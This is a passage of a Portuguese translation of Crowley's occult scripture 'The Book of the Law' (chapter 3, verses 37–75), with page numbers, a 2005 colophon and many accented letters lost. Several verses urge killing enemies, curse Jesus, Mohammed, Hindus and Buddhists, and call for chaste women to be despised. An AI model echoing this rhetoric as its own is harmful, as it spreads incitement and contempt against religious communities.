Abre os caminhos do Khu! Ilumina os caminhos do Ka! Nas rotas do Khabs s tu, Para mover-me ou parar-me! Aum! enche meu carme! 38. De forma que tua luz est em mim; & sua flama rubra como uma espada em minha mo para empurrar tua ordem. Existe uma porta secreta que Eu farei para estabelecer tua rota em todos os quadrantes (estas so as adoraes, como tu escreveste), como dito: minha a luz; faz que eu me v Com os seus raios. Sou o autor De oculta porta ao Lar de Ra E Tum, de Khephra e de Ahathoor. Eu sou teu Tebano, Mentu, O profeta Ankh-af-na-khonsu! Por Bes-na-Maut bato no peito; E por Ta-Nech lano o feitio. Brilha, Nuit, cu perfeito! Alada cobra, luz e vio, Abre-me tua Casa, Hadit! Mora comigo, Ra-Hoor-Kuit! 39. Tudo isto e um livro para dizer como tu chegaste aqui e uma reproduo desta tinta e papel para sempre - pois nisto est a palavra secreta & no apenas no Ingls - e teu comento sobre este o Livro da Lei ser impresso belamente em tinta vermelha e negra sobre belo papel feito mo; e a cada homem e mulher que tu encontras, fosse apenas para jantar ou beber a eles, esta a Lei a dar. Ento talvez eles decidam permanecer nesta felicidade ou no; no tem importncia. Faze isto rpido! 40. Mas o trabalho do comento? Aquilo fcil; e Hadit ardendo em teu corao far clere e segura tua pena. 41. Estabelece em tua Kaaba um escritrio; tudo deve ser bem feito e com jeito de negcios. 42. Os ordlios tu fiscalizars tu mesmo, salvo apenas as cegas. No recuses ningum, mas tu conhecers & destruirs os traidores. Eu sou Ra-Hoor-Khuit; e Eu sou poderoso para proteger meu servo. Sucesso tua prova; no discutas; no convertas; no fales demais! Aqueles que buscam armar-te uma cilada, derrubar-te, esses ataca sem d nem trgua; & destri-os por completo. Clere como uma serpente pisada e vira-te e d o bote! S tu mais mortfero ainda que ele! Puxa para baixo suas almas a tormento horrvel: ri do medo deles: cospe sobre eles! 86

43. Que a Mulher Escarlate se precate! Se piedade e compaixo e ternura visitarem seu corao; se ela deixar meu trabalho para brincar com velhas douras; ento minha vingana ser conhecida. Eu me matarei sua criana: Eu alienarei seu corao: Eu a expelirei dos homens: como uma encolhida e desprezada rameira ela rastejar por ruas molhadas e escuras, e morrer fria e faminta. 44. Mas que ela se erga em orgulho! Que ela me siga em meu caminho! Que ela obre a obra de maldade! Que ela mate seu corao! Que ela seja gritona e adltera! Que ela esteja coberta de jias, e ricas roupas, e que ela seja sem vergonha diante de todos os homens! 45. Ento Eu a levantarei a pinculos de poder: ento Eu engendrarei dela uma criana mais pujante que todos os reis da terra. Eu a encherei de alegria: com minha fora ela ver & dar o golpe adorao de Nu: ela conseguir Hadit. 46. Eu sou o guerreiro Senhor dos Quarentas: os Oitentas se acovardam diante de me, & so afundados. Eu vos trarei a vitria & alegria: Eu estarei nas vossas armas em batalha & vs deleitareis em matar. Sucesso vossa prova; coragem vossa armadura; avante, avante em minha fora; & vs no retrocedereis de qualquer! 47. Este livro ser traduzido em todas as lnguas: mas sempre com o original pela mo da Besta; pois na forma ao acaso das letras e sua posio umas com as outras: nestas h mistrios que nenhuma Besta adivinhar. Que ele no procure tentar: mas um vem aps ele, de onde Eu no digo, que descobrir a Chave disso tudo. Ento esta linha traada uma chave; ento este crculo esquadrado em seu fracasso uma chave tambm. E Abrahadabra. Ser sua criana & isso estranhamente. Que ele no busque aps isto pois dessa forma apenas pode ele cair. 48. Agora este mistrio das letras est acabado, e Eu quero prosseguir para o lugar mais santo. 49. Eu estou em uma secreta palavra qudrupla, a blasfmia contra todos os deuses dos homens. 50. Maldio sobre eles! Maldio sobre eles! Maldio sobre eles! 51. Com minha cabea de Falco Eu bico os olhos de Jesus enquanto ele se dependura da cruz. 52. Eu ruflo minhas asas na face de Mohammed & cego-o. 53. Com minhas garras Eu dilacero e puxo fora a carne do Hindu e do Budista, Mongol e Din. 54. Bahlasti! Ompehda! Eu cuspo nos vossos credos crapulosos. 55. Que Maria inviolada seja despedaada sobre rodas: por causa dela que todas as mulheres castas sejam completamente desprezadas entre vs! 56. Tambm por causa da beleza e do amor! 57. Desprezai tambm todos os covardes; soldados profissionais que no ousam lutar, mas brincam; todos os tolos desprezai! 87

58. Mas os afiados e os altivos, os rgios e os elevados; vs sois irmos! 59. Lutai como irmos! 60. No existe lei alm de Faze o que tu queres. 61. H um fim da palavra do Deus entronado no assento de Ra, tornando leves as vigas da alma. 62. A Me reverenciai! a me vinde atravs de tribulao de ordlia, que deleite. 63. O tolo l este Livro da Lei, e seu comento; & ele no o compreende. 64. Que ele passe pela primeira ordlia, & ser para ele como prata. 65. Pela segunda, ouro. 66. Pela terceira, pedras de gua preciosa. 67. Pela quarta, ultimais fagulhas do fogo intimo. 68. No entanto a todos ele parecer belo. Seus inimigos que no dizem assim, so meros mentirosos. 69. Existe sucesso. 70. Eu sou o Senhor de Cabea de Falco do Silncio & da Fora; minha nmes cobre o cu azul-noturno. 71. Salve! vs gmeos guerreiros em volta dos pilares do mundo! pois vossa hora est prxima. 72. Eu sou o Senhor da Dupla Baqueta de Poder; a baqueta da Fora de Coph Nia - mas minha mo esquerda est vazia, pois Eu esmaguei um Universo; & nada resta. 73. Empastai as folhas da direita para a esquerda e do topo ao p: ento contemplai! 74. Existe um esplendor em meu nome oculto e glorioso, como o sol da meianoite sempre o filho. 75. O fim das palavras a Palavra Abrahadabra. O Livro da Lei est Escrito e Oculto. Aum. Ha.

88

Nosso trabalho de composio e impresso foi terminado com as benos do Mestre Therion no dia 07/04/2005. Amor a lei, amor sob vontade.

89

Você também pode gostar